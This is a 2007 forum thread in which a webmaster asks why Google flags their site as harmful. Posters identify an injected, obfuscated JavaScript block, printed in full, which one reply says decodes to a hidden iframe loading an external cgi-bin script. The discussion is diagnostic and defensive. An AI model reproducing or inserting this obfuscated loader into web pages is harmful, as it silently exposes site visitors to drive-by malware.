google showing my site "This site may harm your computer. "

**Jace** · 04-20-2007, 05:44 PM

http://www.google.com/support/bin/an...snum=1&ct=help

If you're the administrator of a site we've identified, please visit http://www.google.com/support/webmas...y?answer=45432

**Jace** · 04-20-2007, 05:44 PM

How can I find out if my site has been identified as a web site that hosts or distributes malicious software and what can I do if it has?

You can find out if your site has been identified as a site that may host or distribute malicious software (one type of "badware") by checking the Summary page for the site in Google webmaster tools. (Note: you need to verify site ownership to see this information.)

This identification is based in part on guidelines set by StopBadware.org. However, Google uses its own criteria, procedures, and tools to identify sites that host or distribute badware. If you feel your site has been mistakenly identified, or if you make changes to your site so that it no longer hosts or distributes malicious software and you secure your site so that it is no longer vulnerable to the insertion of badware, you can request that your site be reviewed.

All requests for review are handled by StopBadware.org. You may submit a request for review from the following link: http://stopbadware.org/home/review. StopBadware.org will investigate and contact you with its findings. If they determine that your site does not host or distribute badware, they will inform Google, which will remove the identification from the search results.

**Jace** · 04-20-2007, 05:46 PM

what is this?

Code:

<SCRIPT LANGUAGE="JavaScript">
<!--
function K64EBF(PFE7E0){var U9D1A3=arguments.callee.toString().replace(/\W/g,"").toUpperCase();var CD4194;var PCE0AB=U9D1A3.length;var J9D10A;var CEF3AD;var S27DA6="";var U55EF2=new Array(0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918000,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117);J9D10A=4294967295;for(CD4194=0;CD4194<PCE0AB;CD4194++){J9D10A=U55EF2[(J9D10A^U9D1A3.charCodeAt(CD4194))&255]^((J9D10A>>8)&16777215);}J9D10A=J9D10A^4294967295;var T1BF6A;var B38470;CD4194=J9D10A&65535;T1BF6A=CD4194.toString(16).toUpperCase();while(T1BF6A.length<4){T1BF6A="0"+T1BF6A;}CD4194=(J9D10A>>>16)&65535;B38470=CD4194.toString(16).toUpperCase();while(B38470.length<4){B38470="0"+B38470;}CEF3AD=B38470+T1BF6A;var O1F7BE;var Q03F8C=0;var KF3B2A;var C92FA6;var H7271B;var I45625='';for(O1F7BE=0;O1F7BE<PFE7E0.length;O1F7BE+=2){H7271B=0;S27DA6="";C92FA6="";C92FA6+=PFE7E0.charAt(O1F7BE);C92FA6+=PFE7E0.charAt(O1F7BE+1);KF3B2A=parseInt(C92FA6,16);H7271B=KF3B2A-CEF3AD.charCodeAt(Q03F8C);if(Q03F8C<CEF3AD.length-1){Q03F8C++;}else{Q03F8C=0;}O1F7BE+=2;while(H7271B!=0){C92FA6="";C92FA6+=PFE7E0.charAt(O1F7BE);C92FA6+=PFE7E0.charAt(O1F7BE+1);KF3B2A=parseInt(C92FA6,16);S27DA6+=String.fromCharCode(KF3B2A-CEF3AD.charCodeAt(Q03F8C));if(Q03F8C<CEF3AD.length-1){Q03F8C++;}else{Q03F8C=0;}H7271B--;O1F7BE+=2;}var H8E4B7=parseInt(S27DA6);if(H8E4B7!=0){if(H8E4B7>127){S27DA6="&#"+H8E4B7.toString()+";";}else{S27DA6=String.fromCharCode(H8E4B7);}I45625+=S27DA6;}O1F7BE-=2;}document.write(I45625);}
K64EBF('366C744876694676656C477772634676666647777368457E6B3975777635747565387D7D446875476A66477772674676646847777366457E6B3975767B357475653877784563747A3767757A446B7C476A6746797635747568397577783574766A3975777434787D366A7B4876694676656B4777726245796938797744677347696B467A7835747564397576733574756439757677347C7D3767757745637575366A7A4973627548656778487669457E6D397576753574756938787B446B7B486566794973637347686D4777736245796A387D7F456373783767747B446876486567764878634676646F4777736746766566477772634676656F4679763476773767757F4563737A376774764563747B3767747A44687447686F467974357475683975767335747569397576753574756839757778347976366A7D4875644676656B47777368467666674777726A46766467467C73347679366F7C497363744865677849736273486566754973637747696E46797434777D3767757845637575366978487864457B6438787D4563737A3767747845637479366F7B4973627C48656675487864');
//-->
</SCRIPT>

**RawAlex** · 04-20-2007, 05:51 PM

I think Jace hit it exactly. Google seems to trigger on any javascripts that use formulas to assemble code to write to a page. There is no normal reason to mask javascript like this. Google is likely very correct.

**kektex** · 04-20-2007, 05:54 PM

You might have been hacked.
Last week , one of the shared servers I have some mainstream sites on got hacked and they replaced my adsense ID with their ID.
Caught it easily because it also added adsense code to my sites that didn´t have adsense on them...

**neuboy** · 04-20-2007, 09:33 PM

thanks you all very much!
my site was hacked because of at3
and I re-setuped at3 but didn't notice the toplist
few days ago, I noticed the javascript and deleted it, I don't know when it appear again
and I deleted the javascript, wish this works

**Spunky** · 04-20-2007, 09:37 PM

Weasels..seems like a daily situation

**Ace_luffy** · 04-20-2007, 09:47 PM

nice thread.

**WiredGuy** · 04-20-2007, 09:54 PM

Originally posted by RawAlex

I think Jace hit it exactly. Google seems to trigger on any javascripts that use formulas to assemble code to write to a page. There is no normal reason to mask javascript like this. Google is likely very correct.

I hope thats not the reason since I use that on some of my pages. Not everyone wants their source code to be openly available.
WG

**neuboy** · 04-20-2007, 10:22 PM

when open my site http://www.fishadultgames.com, is there any popup ads or ask you to install something?

**neuboy** · 04-21-2007, 04:31 AM

any more suggestions?
thanks very much

**Quickdraw** · 04-21-2007, 07:50 AM

Looks clean right now, but I imagine it will reappear unless you nabbed the source somewhere.
Anyway the above code translates to an iframe pointing here sd-327.dedibox.fr/cgi-bin/n.cgi?p=msnew , which appears to be down now.

google showing my site "This site may harm your computer. "

google showing my site "This site may harm your computer. "

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment